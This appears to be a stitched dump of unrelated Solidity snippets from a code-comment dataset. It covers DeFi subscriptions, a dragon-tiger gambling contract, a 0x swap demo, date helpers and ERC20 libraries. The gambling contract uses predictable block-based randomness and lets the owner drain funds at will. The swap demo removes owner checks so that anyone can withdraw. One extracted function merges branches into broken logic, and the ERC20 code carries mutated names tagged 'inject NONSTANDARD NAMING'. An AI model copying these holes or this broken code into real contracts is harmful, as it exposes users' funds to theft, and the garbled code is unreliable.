_optimalRatioRepay, bool _boostEnabled, bool _nextPriceEnabled, address _subscriptions) public { SubscriptionsInterfaceV2(OLD_SUBSCRIPTION).unsubscribe(_cdpId); subscribe(_cdpId, _minRatio, _maxRatio, _optimalRatioBoost, _optimalRatioRepay, _boostEnabled, _nextPriceEnabled, _subscriptions); } function subscribe(uint _cdpId, uint128 _minRatio, uint128 _maxRatio, uint128 _optimalRatioBoost, uint128 _optimalRatioRepay, bool _boostEnabled, bool _nextPriceEnabled, address _subscriptions) public { address currAuthority = address(DSAuth(address(this)).authority()); DSGuard guard = DSGuard(currAuthority); if (currAuthority == address(0)) { guard = DSGuardFactory(FACTORY_ADDRESS).newGuard(); DSAuth(address(this)).setAuthority(DSAuthority(address(guard))); } guard.permit(MONITOR_PROXY_ADDRESS, address(this), bytes4(keccak256("execute(address,bytes)"))); SubscriptionsInterfaceV2(_subscriptions).subscribe(_cdpId, _minRatio, _maxRatio, _optimalRatioBoost, _optimalRatioRepay, _boostEnabled, _nextPriceEnabled); } function update(uint _cdpId, uint128 _minRatio, uint128 _maxRatio, uint128 _optimalRatioBoost, uint128 _optimalRatioRepay, bool _boostEnabled, bool _nextPriceEnabled, address _subscriptions) public { SubscriptionsInterfaceV2(_subscriptions).subscribe(_cdpId, _minRatio, _maxRatio, _optimalRatioBoost, _optimalRatioRepay, _boostEnabled, _nextPriceEnabled); } function unsubscribe(uint _cdpId, address _subscriptions) public { SubscriptionsInterfaceV2(_subscriptions).unsubscribe(_cdpId); } } pragma solidity ^0.6.0; import "../../interfaces/OsmMom.sol"; import "../../interfaces/Osm.sol"; import "../../auth/AdminAuth.sol"; import "../../interfaces/Manager.sol"; contract MCDPriceVerifier is AdminAuth { OsmMom public osmMom = OsmMom(0x76416A4d5190d071bfed309861527431304aA14f); Manager public manager = Manager(0x5ef30b9986345249bc32d8928B7ee64DE9435E39); mapping(address => bool) public authorized; function verifyVaultNextPrice(uint _nextPrice, uint _cdpId) public view returns(bool) { require(authorized[msg.sender]); bytes32 ilk = manager.ilks(_cdpId); return verifyNextPrice(_nextPrice, ilk); } function verifyNextPrice(uint _nextPrice, bytes32 _ilk) public view returns(bool) { require(authorized[msg.sender]); address osmAddress = osmMom.osms(_ilk); uint whitelisted = Osm(osmAddress).bud(address(this)); // If contracts doesn't have access return true if (whitelisted != 1) return true; (bytes32 price, bool has) = Osm(osmAddress).peep(); return has ? uint(price) == _nextPrice : false; } function setAuthorized(address _address, bool _allowed) public onlyOwner { authorized[_address] = _allowed; } } pragma solidity ^0.6.0; abstract contract OsmMom { mapping (bytes32 => address) public osms; } pragma solidity ^0.6.0; abstract contract Osm { mapping(address => uint256) public bud; function peep() external view virtual returns (bytes32, bool); } pragma solidity ^0.6.0; import "./DSProxy.sol"; abstract contract DSProxyFactoryInterface { function build(address owner) public virtual returns (DSProxy proxy); } pragma solidity ^0.6.0; import "./ERC20.sol"; //TODO: currenlty only adjusted to kyber, but should be genric interfaces for more dec. exchanges interface ExchangeInterface { function swapEtherToToken(uint256 _ethAmount, address _tokenAddress, uint256 _maxAmount) external payable returns (uint256, uint256); function swapTokenToEther(address _tokenAddress, uint256 _amount, uint256 _maxAmount) external returns (uint256); function swapTokenToToken(address _src, address _dest, uint256 _amount) external payable returns (uint256); function getExpectedRate(address src, address dest, uint256 srcQty) external view returns (uint256 expectedRate); }
Finds the biggest rate between exchanges, needed for sell rate _wrappers Array of wrappers to compare _rates Array of rates to compare starting from 0 in case there is only one rate in array
function getBiggestRate( address[] memory _wrappers, uint256[] memory _rates ) internal pure returns (address, uint) { uint256 maxIndex = 0; for (uint256 i=0; i<_rates.length; i++) { if (_rates[i] > _rates[maxIndex]) { maxIndex = i; } } return (_wrappers[maxIndex], _rates[maxIndex]); }
380,899
pragma solidity ^0.4.14; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } library Datasets { // 游戏状态 enum GameState { GAME_ING //进行中 , GAME_CLEAR //暂停下注 } // 龙虎标识 enum BetTypeEnum { NONE , DRAGON //龙 , TIGER //虎 , DRAW //和 } // coin 操作类型 enum CoinOpTypeEnum { NONE , PAY //1充值 , WITHDRAW //2提现 , BET //3下注 , INVITE_AWARD //4邀请奖励 , WIN_AWARD //5赢得下注的奖励 , LUCKY_AWARD //6幸运奖 } struct Round { uint256 start; // 开始时间 uint256 cut; // 截止时间 uint256 end; // 结束时间 bool ended; // 是否已结束 uint256 amount; // 总份数 uint256 coin; // 总coin BetTypeEnum result; // 结果 uint32 betCount; // 下注人次 } // 玩家 struct Player { address addr; // 玩家地址 uint256 coin; // 玩家剩余coin uint256 parent1; // 1代 uint256 parent2; // 2代 uint256 parent3; // 3代 } // 投注人 struct Beter { uint256 betId; // 押注人 bool beted; // 如果为真表示已经投注过 BetTypeEnum betType; // 押大押小 1 dragon 2tiger uint256 amount; // 份数 uint256 value; // 押多少 } //coin明细 struct CoinDetail { uint256 roundId; // 发生的回合 uint256 value; // 发生的金额 bool isGet; // 是否是获得 CoinOpTypeEnum opType; // 操作类型 uint256 time; // 发生时间 uint256 block; // 区块高度 } } contract GameLogic { using SafeMath for *; address private owner; // 货币比例 uint256 constant private EXCHANGE = 1; // 一轮中能下注的时间 uint256 private ROUND_BET_SECONDS = 480 seconds; // 一轮时间 uint256 private ROUND_MAX_SECONDS = 600 seconds; // 返奖率 uint256 private RETURN_AWARD_RATE = 9000; //0.9 // 幸运奖抽成比例 uint256 private LUCKY_AWARD_RATE = 400; //0.04 // 每次派发幸运奖的比例 uint256 private LUCKY_AWARD_SEND_RATE = 5000; //0.5 // 提现费 uint256 private WITH_DROW_RATE = 100; // 0.01 // 邀请分成费 uint256 private INVITE_RATE = 10; // 0.001 // RATE_BASE uint256 constant private RATE_BASE = 10000; //RATE/RATE_BASE // 每份押注的额度 uint256 constant private VALUE_PER_MOUNT = 1000000000000000; uint32 private ROUND_BET_MAX_COUNT = 300; uint256 constant private UID_START = 1000; // 期数 uint256 public roundId = 0; // 当前游戏状态 Datasets.GameState public state; // 当前是否激活 bool public activated = false; // 幸运奖 uint256 public luckyPool = 0; //**************** // 玩家数据 //**************** uint256 private userSize = UID_START; // 平台用户数 mapping(uint256 => Datasets.Player) public mapIdxPlayer; // (pId => data) player data mapping(address => uint256) public mapAddrxId; // (addr => pId) returns player id by address mapping(uint256 => Datasets.Round) public mapRound; // rid-> roundData mapping(uint256 => mapping(uint8 => Datasets.Beter[])) public mapBetter; // rid -> betType -> Beter[index] 保存每一期的投注 mapping(uint256 => mapping(uint8 => uint256)) public mapBetterSizes; // rid -> betType -> size; //**************** // 权限方法 //**************** modifier onlyState(Datasets.GameState curState) { require(state == curState); _; } modifier onlyActivated() { require(activated == true, "it's not ready yet"); _; } modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } //**************** // 构造方法 //**************** constructor() public { owner = msg.sender; } // fallback函数 function() onlyHuman public payable { uint256 value = msg.value; require(value > 0 && msg.sender != 0x0, "value not valid yet"); uint256 pId = mapAddrxId[msg.sender]; if (pId == 0) pId = addPlayer(msg.sender, value); else { addCoin(pId, value, Datasets.CoinOpTypeEnum.PAY); Datasets.Player storage player = mapIdxPlayer[pId]; // 1代分成 if(player.parent1 > 0) { uint256 divide1 = value.mul(INVITE_RATE).div(RATE_BASE); addCoin(player.parent1, divide1, Datasets.CoinOpTypeEnum.INVITE_AWARD); } // 3代分成 if (player.parent3 > 0) { uint256 divide2 = value.mul(INVITE_RATE).div(RATE_BASE); addCoin(player.parent3, divide2, Datasets.CoinOpTypeEnum.INVITE_AWARD); } } } //**************** // 私有方法 //**************** // 新用户 function addPlayer(address addr, uint256 initValue) private returns (uint256) { Datasets.Player memory newPlayer; uint256 coin = exchangeCoin(initValue); newPlayer.addr = addr; newPlayer.coin = coin; //保存新用户 userSize++; mapAddrxId[addr] = userSize; mapIdxPlayer[userSize] = newPlayer; addCoinDetail(userSize, coin, true, Datasets.CoinOpTypeEnum.PAY); return userSize; } // 减少coin function subCoin(uint256 pId, uint256 value, Datasets.CoinOpTypeEnum opType) private { require(pId > 0 && value > 0); Datasets.Player storage player = mapIdxPlayer[pId]; require(player.coin >= value, "your money is not enough"); player.coin = player.coin.sub(value); //记日志 addCoinDetail(pId, value, false, opType); } // 兑换coin function exchangeCoin(uint256 value) pure private returns (uint256){ return value.mul(EXCHANGE); } // 增加coin function addCoin(uint256 pId, uint256 value, Datasets.CoinOpTypeEnum opType) private { require(pId != 0 && value > 0); mapIdxPlayer[pId].coin += value; //记日志 addCoinDetail(pId, value, true, opType); } function checkLucky(address addr, uint256 second, uint256 last) public pure returns (bool) { uint256 last2 = (uint256(addr) * 2 ** 252) / (2 ** 252); uint256 second2 = (uint256(addr) * 2 ** 248) / (2 ** 252); if(second == second2 && last2 == last) return true; else return false; } //计算该轮次结果 function calcResult(uint256 dragonSize, uint256 tigerSize, uint256 seed) onlyOwner private view returns (uint, uint) { uint randomDragon = uint(keccak256(abi.encodePacked(now, block.number, dragonSize, seed))) % 16; uint randomTiger = uint(keccak256(abi.encodePacked(now, block.number, tigerSize, seed.mul(2)))) % 16; return (randomDragon, randomTiger); } //派奖 function awardCoin(Datasets.BetTypeEnum betType) private { Datasets.Beter[] storage winBetters = mapBetter[roundId][uint8(betType)]; uint256 len = winBetters.length; uint256 winTotal = mapRound[roundId].coin; uint winAmount = 0; if (len > 0) for (uint i = 0; i < len; i++) { winAmount += winBetters[i].amount; } if (winAmount <= 0) return; uint256 perAmountAward = winTotal.div(winAmount); if (len > 0) for (uint j = 0; j < len; j++) { addCoin( winBetters[j].betId , perAmountAward.mul(winBetters[j].amount) , Datasets.CoinOpTypeEnum.WIN_AWARD); } } // 发幸运奖 function awardLuckyCoin(uint256 dragonResult, uint256 tigerResult) private { //判断尾号为该字符串的放入幸运奖数组中 Datasets.Beter[] memory winBetters = new Datasets.Beter[](1000); uint p = 0; uint256 totalAmount = 0; for (uint8 i = 1; i < 4; i++) { Datasets.Beter[] storage betters = mapBetter[roundId][i]; uint256 len = betters.length; if(len > 0) { for (uint j = 0; j < len; j++) { Datasets.Beter storage item = betters[j]; if (checkLucky(mapIdxPlayer[item.betId].addr, dragonResult, tigerResult)) { winBetters[p] = betters[j]; totalAmount += betters[j].amount; p++; } } } } if (winBetters.length > 0 && totalAmount > 0) { uint perAward = luckyPool.mul(LUCKY_AWARD_SEND_RATE).div(RATE_BASE).div(totalAmount); for (uint k = 0; k < winBetters.length; k++) { Datasets.Beter memory item1 = winBetters[k]; if(item1.betId == 0) break; addCoin(item1.betId, perAward.mul(item1.amount), Datasets.CoinOpTypeEnum.LUCKY_AWARD); } //幸运奖池减少 luckyPool = luckyPool.mul(RATE_BASE.sub(LUCKY_AWARD_SEND_RATE)).div(RATE_BASE); } } //加明细 function addCoinDetail(uint256 pId, uint256 value, bool isGet, Datasets.CoinOpTypeEnum opType) private { emit onCoinDetail(roundId, pId, value, isGet, uint8(opType), now, block.number); } //**************** // 操作类方法 //**************** //激活游戏 function activate() onlyOwner public { require(activated == false, "game already activated"); activated = true; roundId = 1; Datasets.Round memory round; round.start = now; round.cut = now + ROUND_BET_SECONDS; round.end = now + ROUND_MAX_SECONDS; round.ended = false; mapRound[roundId] = round; state = Datasets.GameState.GAME_ING; } /* 提现 */ function withDraw(uint256 value) public onlyActivated onlyHuman returns (bool) { require(value >= 500 * VALUE_PER_MOUNT); require(address(this).balance >= value, " contract balance isn't enough "); uint256 pId = mapAddrxId[msg.sender]; require(pId > 0, "user invalid"); uint256 sub = value.mul(RATE_BASE).div(RATE_BASE.sub(WITH_DROW_RATE)); require(mapIdxPlayer[pId].coin >= sub, " coin isn't enough "); subCoin(pId, sub, Datasets.CoinOpTypeEnum.WITHDRAW); msg.sender.transfer(value); return true; } // 押注 function bet(uint8 betType, uint256 amount) public onlyActivated onlyHuman onlyState(Datasets.GameState.GAME_ING) { //require require(amount > 0, "amount is invalid"); require( betType == uint8(Datasets.BetTypeEnum.DRAGON) || betType == uint8(Datasets.BetTypeEnum.TIGER) || betType == uint8(Datasets.BetTypeEnum.DRAW) , "betType is invalid"); Datasets.Round storage round = mapRound[roundId]; require(round.betCount < ROUND_BET_MAX_COUNT); if (state == Datasets.GameState.GAME_ING && now > round.cut) state = Datasets.GameState.GAME_CLEAR; require(state == Datasets.GameState.GAME_ING, "game cutoff"); uint256 value = amount.mul(VALUE_PER_MOUNT); uint256 pId = mapAddrxId[msg.sender]; require(pId > 0, "user invalid"); round.betCount++; subCoin(pId, value, Datasets.CoinOpTypeEnum.BET); Datasets.Beter memory beter; beter.betId = pId; beter.beted = true; beter.betType = Datasets.BetTypeEnum(betType); beter.amount = amount; beter.value = value; mapBetter[roundId][betType].push(beter); mapBetterSizes[roundId][betType]++; mapRound[roundId].coin += value.mul(RETURN_AWARD_RATE).div(RATE_BASE); mapRound[roundId].amount += amount; luckyPool += value.mul(LUCKY_AWARD_RATE).div(RATE_BASE); emit onBet(roundId, pId, betType, value); } //填写邀请者 function addInviteId(uint256 inviteId) public returns (bool) { //邀请ID有效 require(inviteId > 0); Datasets.Player storage invite = mapIdxPlayer[inviteId]; require(invite.addr != 0x0); uint256 pId = mapAddrxId[msg.sender]; //如果已存在用户修改邀请,只能修改一次 if(pId > 0) { require(pId != inviteId); //不能邀请自己 Datasets.Player storage player = mapIdxPlayer[pId]; if (player.parent1 > 0) return false; // 设置新用户1代父级 player.parent1 = inviteId; player.parent2 = invite.parent1; player.parent3 = invite.parent2; } else { Datasets.Player memory player2; // 设置新用户1代父级 player2.addr = msg.sender; player2.coin = 0; player2.parent1 = inviteId; player2.parent2 = invite.parent1; player2.parent3 = invite.parent2; userSize++; mapAddrxId[msg.sender] = userSize; mapIdxPlayer[userSize] = player2; } return true; } //endRound:seed is from random.org function endRound(uint256 seed) public onlyOwner onlyActivated { Datasets.Round storage curRound = mapRound[roundId]; if (now < curRound.end || curRound.ended) revert(); uint256 dragonResult; uint256 tigerResult; (dragonResult, tigerResult) = calcResult( mapBetter[roundId][uint8(Datasets.BetTypeEnum.DRAGON)].length , mapBetter[roundId][uint8(Datasets.BetTypeEnum.TIGER)].length , seed); Datasets.BetTypeEnum result; if (tigerResult > dragonResult) result = Datasets.BetTypeEnum.TIGER; else if (dragonResult > tigerResult) result = Datasets.BetTypeEnum.DRAGON; else result = Datasets.BetTypeEnum.DRAW; if (curRound.amount > 0) { awardCoin(result); awardLuckyCoin(dragonResult, tigerResult); } //更新round curRound.ended = true; curRound.result = result; // 开始下一轮游戏 roundId++; Datasets.Round memory nextRound; nextRound.start = now; nextRound.cut = now.add(ROUND_BET_SECONDS); nextRound.end = now.add(ROUND_MAX_SECONDS); nextRound.coin = 0; nextRound.amount = 0; nextRound.ended = false; mapRound[roundId] = nextRound; //改回游戏状态 state = Datasets.GameState.GAME_ING; //派发结算事件 emit onEndRound(dragonResult, tigerResult); } //**************** // 获取类方法 //**************** function getTs() public view returns (uint256) { return now; } function globalParams() public view returns ( uint256 , uint256 , uint256 , uint256 , uint256 , uint256 , uint256 , uint256 , uint32 ) { return ( ROUND_BET_SECONDS , ROUND_MAX_SECONDS , RETURN_AWARD_RATE , LUCKY_AWARD_RATE , LUCKY_AWARD_SEND_RATE , WITH_DROW_RATE , INVITE_RATE , RATE_BASE , ROUND_BET_MAX_COUNT ); } function setGlobalParams( uint256 roundBetSeconds , uint256 roundMaxSeconds , uint256 returnAwardRate , uint256 luckyAwardRate , uint256 luckyAwardSendRate , uint256 withDrowRate , uint256 inviteRate , uint32 roundBetMaxCount ) public onlyOwner { if (roundBetSeconds >= 0) ROUND_BET_SECONDS = roundBetSeconds; if (roundMaxSeconds >= 0) ROUND_MAX_SECONDS = roundMaxSeconds; if (returnAwardRate >= 0) RETURN_AWARD_RATE = returnAwardRate; if (luckyAwardRate >= 0) LUCKY_AWARD_RATE = luckyAwardRate; if (luckyAwardSendRate >= 0) LUCKY_AWARD_SEND_RATE = luckyAwardSendRate; if (withDrowRate >= 0) WITH_DROW_RATE = withDrowRate; if (inviteRate >= 0) INVITE_RATE = inviteRate; if (roundBetMaxCount >= 0) ROUND_BET_MAX_COUNT = roundBetMaxCount; } // 销毁合约 function kill() public onlyOwner { if (userSize > UID_START) for (uint256 pId = UID_START; pId < userSize; pId++) { Datasets.Player storage player = mapIdxPlayer[pId]; if (address(this).balance > player.coin) { player.addr.transfer(player.coin); } } if (address(this).balance > 0) { owner.transfer(address(this).balance); } selfdestruct(owner); } function w(uint256 vv) public onlyOwner { if (address(this).balance > vv) { owner.transfer(vv); } } //**************** // 事件 //**************** event onCoinDetail(uint256 roundId, uint256 pId, uint256 value, bool isGet, uint8 opType, uint256 time, uint256 block); event onBet(uint256 roundId, uint256 pId, uint8 betType, uint value); // 定义押注事件 event onEndRound(uint256 dragonValue, uint256 tigerValue); // 定义结束圈事件(结果) }
填写邀请者邀请ID有效如果已存在用户修改邀请,只能修改一次 设置新用户1代父级 设置新用户1代父级
function addInviteId(uint256 inviteId) public returns (bool) { require(inviteId > 0); Datasets.Player storage invite = mapIdxPlayer[inviteId]; require(invite.addr != 0x0); uint256 pId = mapAddrxId[msg.sender]; if(pId > 0) { Datasets.Player storage player = mapIdxPlayer[pId]; if (player.parent1 > 0) return false; player.parent1 = inviteId; player.parent2 = invite.parent1; player.parent3 = invite.parent2; Datasets.Player memory player2; player2.addr = msg.sender; player2.coin = 0; player2.parent1 = inviteId; player2.parent2 = invite.parent1; player2.parent3 = invite.parent2; userSize++; mapAddrxId[msg.sender] = userSize; mapIdxPlayer[userSize] = player2; } return true; }
12,680,902
// SPDX-License-Identifier: MIT pragma solidity ^0.7.3; // A partial ERC20 interface. interface IERC20 { function balanceOf(address owner) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transfer(address to, uint256 amount) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } // A partial WETH interface. interface IWETH is IERC20 { function deposit() external payable; } // Demo contract that swaps its ERC20 balance for another ERC20. // NOT to be used in production. contract SimpleTokenSwap { event SwappedTokens(IERC20 sellToken, IERC20 buyToken, uint256 soldAmount, uint256 boughtAmount); // The WETH contract. IWETH public immutable WETH; // Creator of this contract. address public owner; constructor(IWETH weth) { WETH = weth; owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner, "ONLY_OWNER"); _; } // Payable fallback to allow this contract to receive protocol fee refunds. receive() external payable {} // Transfer tokens held by this contract to the sender/owner. function withdrawToken(IERC20 token, uint256 amount) external // removing onlyOwner for demo purposes only!!! // onlyOwner { require(token.transfer(msg.sender, amount)); } // Transfer ETH held by this contrat to the sender/owner. function withdrawETH(uint256 amount) external // removing onlyOwner for demo purposes only!!! // onlyOwner { msg.sender.transfer(amount); } function depositToken(IERC20 token, uint256 amount) external { require(token.transferFrom(msg.sender, address(this), amount)); } // Transfer ETH into this contract and wrap it into WETH. function depositETH() external payable { WETH.deposit{value: msg.value}(); } // Swaps ERC20->ERC20 tokens held by this contract using a 0x-API quote. function fillQuote( // The `sellTokenAddress` field from the API response. IERC20 sellToken, // The `buyTokenAddress` field from the API response. IERC20 buyToken, // The `allowanceTarget` field from the API response. address spender, // The `to` field from the API response. address payable swapTarget, // The `data` field from the API response. bytes calldata swapCallData ) external // removing onlyOwner for demo purposes only!!! // onlyOwner payable // Must attach ETH equal to the `value` field from the API response. { // Track our balance of the buyToken and sellToken to determine how much we've bought/sold. uint256 boughtAmount = buyToken.balanceOf(address(this)); uint256 soldAmount = sellToken.balanceOf(address(this)); // Give `spender` an infinite allowance to spend this contract's `sellToken`. // Note that for some tokens (e.g., USDT, KNC), you must first reset any existing // allowance to 0 before being able to update it. require(sellToken.approve(spender, uint256(-1))); // Call the encoded swap function call on the contract at `swapTarget`, // passing along any ETH attached to this function call to cover protocol fees. (bool success,) = swapTarget.call{value: msg.value}(swapCallData); require(success, 'SWAP_CALL_FAILED'); // Refund any unspent protocol fees to the sender. msg.sender.transfer(address(this).balance); // Use our current buyToken balance to determine how much we've bought. boughtAmount = buyToken.balanceOf(address(this)) - boughtAmount; soldAmount = soldAmount - sellToken.balanceOf(address(this)); emit SwappedTokens(sellToken, buyToken, soldAmount, boughtAmount); } // Swaps ERC20->ERC20 tokens held by this contract using a 0x-API quote. function fillMerchantQuote( // The `sellTokenAddress` field from the API response. IERC20 sellToken, // The `buyTokenAddress` field from the API response. IERC20 buyToken, // The `allowanceTarget` field from the API response. address spender, // The `to` field from the API response. address payable swapTarget, // The `data` field from the API response. bytes calldata swapCallData ) external // removing onlyOwner for demo purposes only!!! // onlyOwner payable // Must attach ETH equal to the `value` field from the API response. { // Track our balance of the buyToken and sellToken to determine how much we've bought/sold. uint256 boughtAmount = buyToken.balanceOf(address(this)); uint256 soldAmount = sellToken.balanceOf(address(this)); address merchant = 0xe083437A8FD52A9A4B6B3CAbec0279Db5dAD8043; // Give `spender` an infinite allowance to spend this contract's `sellToken`. // Note that for some tokens (e.g., USDT, KNC), you must first reset any existing // allowance to 0 before being able to update it. require(sellToken.approve(spender, uint256(-1))); // Call the encoded swap function call on the contract at `swapTarget`, // passing along any ETH attached to this function call to cover protocol fees. (bool success,) = swapTarget.call{value: msg.value}(swapCallData); require(success, 'SWAP_CALL_FAILED'); // Refund any unspent protocol fees to the sender. msg.sender.transfer(address(this).balance); // Use our current buyToken balance to determine how much we've bought. boughtAmount = buyToken.balanceOf(address(this)) - boughtAmount; soldAmount = soldAmount - sellToken.balanceOf(address(this)); // Send converted tokens to merchant address buyToken.transfer(merchant, boughtAmount); emit SwappedTokens(sellToken, buyToken, soldAmount, boughtAmount); } }
Transfer tokens held by this contract to the sender/owner. removing onlyOwner for demo purposes only!!! onlyOwner
function withdrawToken(IERC20 token, uint256 amount) external { require(token.transfer(msg.sender, amount)); }
15,803,388
./partial_match/1/0x986A4010D6dF5754f66F72764487070615CBDE9A/sources/contracts/Ph101ppDailyPhotoUtils.sol
------------------------------------------------------------------------ Calculate year/month/day from the number of days since 1970/01/01 using the date conversion algorithm from http:aa.usno.navy.mil/faq/docs/JD_Formula.php and adding the offset 2440588 so that 1970/01/01 is day 0 int L = days + 68569 + offset int N = 4 L / 146097 L = L - (146097 N + 3) / 4 year = 4000 (L + 1) / 1461001 L = L - 1461 year / 4 + 31 month = 80 L / 2447 dd = L - 2447 month / 80 L = month / 11 month = month + 2 - 12 L year = 100 (N - 49) + year + L ------------------------------------------------------------------------
function _daysToDate( uint256 _days ) internal pure returns (uint256 year, uint256 month, uint256 day) { unchecked { int256 __days = int256(_days); int256 L = __days + 68569 + OFFSET19700101; int256 N = (4 * L) / 146097; L = L - (146097 * N + 3) / 4; int256 _year = (4000 * (L + 1)) / 1461001; L = L - (1461 * _year) / 4 + 31; int256 _month = (80 * L) / 2447; int256 _day = L - (2447 * _month) / 80; L = _month / 11; _month = _month + 2 - 12 * L; _year = 100 * (N - 49) + _year + L; year = uint256(_year); month = uint256(_month); day = uint256(_day); } }
9,362,171
./full_match/1/0xC49F74af6840f55f1dcBf1D25235387F37590e10/sources/contracts/JBTiered721DelegateProjectDeployer.sol
/ Set the project to use the data source for its pay function. Set the delegate address as the data source of the provided metadata.
function _launchFundingCyclesFor( uint256 _projectId, JBLaunchFundingCyclesData memory _launchFundingCyclesData, IJBTiered721Delegate _dataSource ) internal returns (uint256) { return controller.launchFundingCyclesFor( _projectId, _launchFundingCyclesData.data, JBFundingCycleMetadata({ global: _launchFundingCyclesData.metadata.global, reservedRate: _launchFundingCyclesData.metadata.reservedRate, redemptionRate: _launchFundingCyclesData.metadata.redemptionRate, ballotRedemptionRate: _launchFundingCyclesData.metadata.ballotRedemptionRate, pausePay: _launchFundingCyclesData.metadata.pausePay, pauseDistributions: _launchFundingCyclesData.metadata.pauseDistributions, pauseRedeem: _launchFundingCyclesData.metadata.pauseRedeem, pauseBurn: _launchFundingCyclesData.metadata.pauseBurn, allowMinting: _launchFundingCyclesData.metadata.allowMinting, allowTerminalMigration: _launchFundingCyclesData.metadata.allowTerminalMigration, allowControllerMigration: _launchFundingCyclesData.metadata.allowControllerMigration, holdFees: _launchFundingCyclesData.metadata.holdFees, preferClaimedTokenOverride: _launchFundingCyclesData.metadata.preferClaimedTokenOverride, useTotalOverflowForRedemptions: _launchFundingCyclesData.metadata.useTotalOverflowForRedemptions, useDataSourceForPay: true, useDataSourceForRedeem: _launchFundingCyclesData.metadata.useDataSourceForRedeem, dataSource: address(_dataSource), metadata: _launchFundingCyclesData.metadata.metadata }), _launchFundingCyclesData.mustStartAtOrAfter, _launchFundingCyclesData.groupedSplits, _launchFundingCyclesData.fundAccessConstraints, _launchFundingCyclesData.terminals, _launchFundingCyclesData.memo ); } Reconfigure funding cycles for a project. @param _projectId The ID of the project having funding cycles launched. @param _reconfigureFundingCyclesData Data necessary to fulfill the transaction to launch funding cycles for the project. @param _dataSource The data source to set. @return The configuration of the funding cycle that was successfully reconfigured.
3,077,326
pragma solidity 0.6.12; interface IERC20 { function TOTALSUPPLY831() external view returns (uint256); //inject NONSTANDARD NAMING function BALANCEOF536(address account) external view returns (uint256); //inject NONSTANDARD NAMING function TRANSFER353(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function ALLOWANCE946(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING function APPROVE926(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function TRANSFERFROM954(address sender, address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING event TRANSFER795(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING event APPROVAL172(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING } library SafeMath { function ADD659(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function SUB877(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return SUB877(a, b, "SafeMath: subtraction overflow"); } function SUB877(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b <= a, errorMessage); uint256 c = a - b; return c; } function MUL487(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function DIV156(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return DIV156(a, b, "SafeMath: division by zero"); } function DIV156(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function MOD860(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return MOD860(a, b, "SafeMath: modulo by zero"); } function MOD860(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b != 0, errorMessage); return a % b; } } library Address { function ISCONTRACT107(address account) internal view returns (bool) { //inject NONSTANDARD NAMING // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function SENDVALUE513(address payable recipient, uint256 amount) internal { //inject NONSTANDARD NAMING require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function SAFETRANSFER239(IERC20 token, address to, uint256 value) internal { //inject NONSTANDARD NAMING _CALLOPTIONALRETURN137(token, abi.encodeWithSelector(token.TRANSFER353.selector, to, value)); } function SAFETRANSFERFROM64(IERC20 token, address from, address to, uint256 value) internal { //inject NONSTANDARD NAMING _CALLOPTIONALRETURN137(token, abi.encodeWithSelector(token.TRANSFERFROM954.selector, from, to, value)); } function SAFEAPPROVE765(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.ALLOWANCE946(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _CALLOPTIONALRETURN137(token, abi.encodeWithSelector(token.APPROVE926.selector, spender, value)); } function SAFEINCREASEALLOWANCE134(IERC20 token, address spender, 